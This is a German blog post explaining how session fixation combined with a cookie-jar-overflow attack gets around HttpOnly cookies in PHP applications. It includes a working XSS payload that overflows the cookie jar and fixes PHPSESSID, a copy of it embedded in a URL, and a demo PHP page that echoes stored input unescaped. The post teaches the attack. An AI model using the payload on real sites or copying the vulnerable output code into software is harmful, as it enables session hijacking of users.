Sitzungsfixierung - Cookie-Jar-Overflow-Angriffe

Beitrag vom August 2024 aus dem Bereich Security von Arthur Weder

Auf den ersten Blick könnte man meinen, dass Angreifer mit Cross-Site Scripting (XSS) problemlos Session-Cookies stehlen können. Moderne Sicherheitspraktiken setzen jedoch das HttpOnly-Flag für Cookies, das verhindert, dass JavaScript auf sie zugreift oder sie ändert. Dies schützt zwar vor vielen gängigen Angriffen, löst das Problem jedoch nicht vollständig, wenn Session Fixation mit einer weniger bekannten Technik kombiniert wird: dem Cookie Jar Overflow Attack.

Sitzungsfixierung - Cookie-Jar-Overflow-Angriffe

Session Fixation nutzt die Art und Weise aus, wie Webanwendungen Benutzersitzungen verwalten. Wenn Benutzer mit einer Anwendung in PHP interagieren, wird ihnen eine Sitzungs-ID zugewiesen, die im PHPSESSID-Cookie gespeichert wird. Dieses Cookie identifiziert die Sitzung über Anfragen hinweg und bleibt während der gesamten Aktivität des Benutzers bestehen.

Ein Angreifer kann diesen Mechanismus ausnutzen, indem er die Sitzungs-ID des Opfers festlegt, bevor es sich bei der Anwendung anmeldet. Der Angreifer wartet dann darauf, dass sich der Benutzer mit der voreingestellten Sitzungs-ID anmeldet. Nach der Authentifizierung kann der Angreifer die Sitzung kapern, da er die vom Opfer verwendete Sitzungs-ID bereits kennt.

Beispiel:

<img src="x" onerror="for(let i=999;i--;)document.cookie=`c${i}=${i};Secure`;document.cookie='PHPSESSID=awe2025';">
https://example.com/dashboard.php?search=<img src="x" onerror="for(let i=999;i--;)document.cookie=`c${i}=${i};Secure`;document.cookie='PHPSESSID=awe2025';">

demo.php

<?php
session_start();
if(isset($_POST['name'])){
    $_SESSION['name'] = $_POST['name'];
    file_put_contents('names.txt', $_POST['name'].PHP_EOL , FILE_APPEND | LOCK_EX);
    header('Location: /SessionFixation/');
    exit(); //optional
}
if(!empty($_SESSION['name'])){
    echo '<h2>Hallo '.htmlentities($_SESSION['name']).'</h2><p>session_id: '.session_id().'</p>';
}else{
    echo '<h2>Hallo anonymer</h2><p>session_id: '.session_id().'</p>';
}
?><hr>
<h2>Form</h2><form method="post" action="/SessionFixation/">
    <label for="name">First name:</label>
    <input type="text" name="name" /><br />
    <input type="submit" value="Speichern" />
</form>
<hr>
<h2>Datenausgabe</h2>
<?php
$lines = array();
if ($file = fopen("names.txt", "r")) {
    while(!feof($file)) {
        $line = fgets($file);
        $lines[] = $line;
    }
    fclose($file);
}
echo implode("<br>",$lines);
/*
Session-Fixation-Angriff
Cookie Jar Overflow
HttpOnly flag
ArthurWeder<img src="x" onerror="for(let i=999;i--;)document.cookie=`c${i}=${i};Secure`;document.cookie='PHPSESSID=awe2025';" style="display:none">
<script>alert(document.cookie)</script>
*/

names.txt

User1
User2
User3

Passende Beiträge aus dem Bereich Security

Sicherer Umgang mit SVG-Dateien

Sicherer Umgang mit SVG-Dateien

Als Website-Betreiber oder Entwickler trägst du die Verantwortung, deine Nutzer und deine Anwendung vor potenziellen Si...

Generieren von CSP-Hashes über die CLI oder PHP

Generieren von CSP-Hashes über die CLI oder PHP

Ich versuche derzeit, auf einer Seite eine Content-Security-Policy im strikt dynamischen Modus einzurichten. Da es sich ...

Website-Skripte mit CSP, Hashes und Nonces schützen

Website-Skripte mit CSP, Hashes und Nonces schützen

XSS-Angriffe (Cross-Site-Scripting) zählen zu den häufigsten Bedrohungen im Internet. Dabei versuchen Angreifer, unsic...